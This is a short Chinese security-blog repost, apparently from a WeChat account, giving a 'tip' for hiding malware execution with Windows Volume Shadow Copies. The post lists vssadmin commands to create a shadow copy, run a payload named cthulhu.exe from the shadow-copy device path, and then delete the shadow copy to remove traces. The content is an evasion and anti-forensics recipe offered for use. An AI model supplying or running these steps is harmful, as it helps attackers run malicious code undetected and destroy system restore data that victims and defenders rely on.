小技巧 admin 102075文章 87评论 2022年10月1日08:50:26评论20 views字数 181阅读0分36秒阅读模式 使用卷影副本隐藏恶意软件执行 1. vssadmin create shadow /for=c:2. vssadmin list shadows3. ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1cthulhu.exe3. vssadmin delete shadows /shadow=<id> 原文始发于微信公众号（Khan安全攻防实验室）：小技巧 点赞 http://cn-sec.com/archives/1325865.html 复制链接 复制链接 左青龙 微信扫一扫 右白虎 微信扫一扫
评论